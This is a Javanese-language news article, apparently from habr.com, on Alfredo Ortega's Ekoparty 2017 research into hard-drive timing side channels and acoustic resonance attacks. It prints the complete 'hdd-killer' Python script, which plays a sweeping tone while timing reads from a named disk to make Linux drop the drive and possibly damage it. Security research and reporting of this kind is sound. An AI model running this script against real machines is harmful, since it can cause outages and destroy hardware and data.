Apa sampeyan ora kudu bengok-bengok ing HDD

Apa sampeyan ora kudu bengok-bengok ing HDD

Ing konferensi keamanan komputer Ekoparty 2017 ing Buenos Aires, peretas Argentina Alfredo Ortega nuduhake perkembangan sing menarik banget - sistem kanggo penyadapan rahasia ing papan tanpa nggunakake mikropon. Swara direkam langsung menyang hard drive!

HDD utamane njupuk swara frekuensi rendah kanthi intensitas dhuwur, langkah kaki lan getaran liyane. Wicara manungsa durung bisa dingerteni, sanajan para ilmuwan lagi nindakake riset ing arah iki (pangenalan wicara kanthi getaran frekuensi rendah, sing direkam, contone, saka giroskop utawa HDD).

Swara yaiku getaran hawa utawa medium liyane. Wong bisa ngerteni liwat gendang telinga, sing ngirimake getaran menyang kuping njero. Mikropon dirancang kira-kira kaya kuping - ing kene uga getaran direkam dening membran tipis, sing ndadekake impuls listrik. Hard drive, mesthi, uga kena getaran mikroskopis amarga fluktuasi ing udara sekitar. Iki dikenal malah saka ciri technical saka HDDs: manufaktur biasane nuduhake tingkat geter maksimum diijini, lan hard drive dhewe asring nyoba kanggo nyelehake ing wadhah getaran-bukti digawe saka karet utawa bahan insulating liyane. Saka iki gampang disimpulake manawa swara bisa direkam nggunakake HDD. Kabeh sing isih ana yaiku kepiye carane.

Alfredo Ortega ngusulake versi unik saka serangan saluran sisih, yaiku serangan wektu. Serangan iki adhedhasar asumsi yen operasi beda ditindakake ing piranti ing wektu sing beda-beda, gumantung saka data input sing diwenehake. Ing kasus iki, "data input" yaiku getaran kepala maca lan piring HDD, sing ana hubungane karo getaran lingkungan, yaiku, kanthi swara. Mangkono, kanthi ngukur wektu komputasi lan nindakake analisis statistik data, getaran sirah / piring lan mula getaran medium bisa diukur. Saya suwe wektu tundha maca data, geter HDD saya kuwat lan, mula, swara luwih banter.

Kepiye cara ngukur geter hard drive? Gampang banget: mung mbukak telpon sistem read () - lan rekam wektu sing dibutuhake kanggo ngrampungake. Sistem operasi modern ngidini sampeyan maca wektu telpon sistem kanthi akurasi nanodetik.

Kacepetan maca informasi saka sektor gumantung saka posisi sirah lan piring, sing ana hubungane karo getaran kasus HDD. Mekaten.

Analisis statistik ditindakake kanthi nggunakake utilitas Kscope sing prasaja. Nalika padha ngomong, kabeh akale iku prasaja.

Apa sampeyan ora kudu bengok-bengok ing HDD
Utilitas Kscope (stat() syscall)

Kscope minangka sarana cilik kanggo nggambarake prabΓ©dan cilik ing wektu eksekusi telpon sistem. Sumberditerbitake ing GitHub.

Ing repositori kapisah HDD-wektu ana versi sarana sing dikonfigurasi kanggo serangan wektu ing hard drive, yaiku, dikonfigurasi kanggo nganalisa telpon sistem read ().

Demonstrasi rekaman swara nggunakake HDD, operasi sarana Kscope


Mesthi, wicara ora bisa dimangerteni kanthi cara iki, nanging HDD cukup cocok minangka sensor geter. Contone, sampeyan bisa ndhaptar yen ana wong sing nganggo sepatu keras utawa tanpa alas kaki mlebu kamar kanthi komputer (mbokmenawa, yen panyerang nganggo sepatu olahraga sing alus utawa ana karpet sing kandel ing lantai, HDD ora bakal bisa ndhaptar getaran - iki patut dipriksa). Komputer bisa ndhaptar kaca pecah utawa kedadeyan liyane kanthi intensitas swara sing kuwat. Yaiku, hard drive bisa dadi jinis sistem deteksi gangguan sing ora sah.

HDD pembunuh

Miturut cara, technique padha bisa digunakake kanggo mateni hard drive. Mung kene kita ora mbusak oscillations saka HDD, nanging ing nalisir, kita generate oscillations sing panganan kanggo HDD. Yen sampeyan muter swara saka speaker ing frekuensi sing resonates karo frekuensi HDD, sistem rauh mateni piranti karo I / O kesalahan (kernel Linux rampung mateni HDD sawise 120 detik). Hard drive dhewe bisa nandhang karusakan sing ora bisa dibatalake.

Apa sampeyan ora kudu bengok-bengok ing HDD
Kernel Linux mateni hard drive sawise 120 detik ngirim swara kanthi frekuensi resonansi liwat speaker speaker Edifier r19u USB. Speaker diuripake ing babagan seprapat saka daya (kurang saka 100 mW) lan dumunung 20 cm saka HDD, ngarahke ing meja kanggo nambah getaran. Bingkai saka video kanthi demonstrasi pembunuh HDD

Pancen aneh yen "serangan" kasebut ing HDD kadhangkala kedadeyan kanthi ora sengaja ing saben dinten. Contone, ing September 2016, pusat data ING Bank dipeksa kanggo nundha operasi kanggo 10 jam sawise latihan geni. Welasan hard drive wis gagal amarga swara banter saka gas inert sing dibebasake saka silinder ing tekanan dhuwur. Swara banter banget (luwih saka 130 dB), nanging sampeyan ora bisa bengok-bengok ing hard drive - iki nambah wektu tundha kanggo ngakses HDD.

Demonstrasi manungsa njerit ing hard drive ing pusat data. Pangukuran latensi


Kanggo ngasilake swara resonating, Alfredo Ortega wrote script Python disebut hdd-pembunuh (demonstrasi video).

skrip pembunuh HDD Iku cukup cilik, supaya sampeyan bisa nerbitake kabeh ing kene.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Source: www.habr.com

Add a comment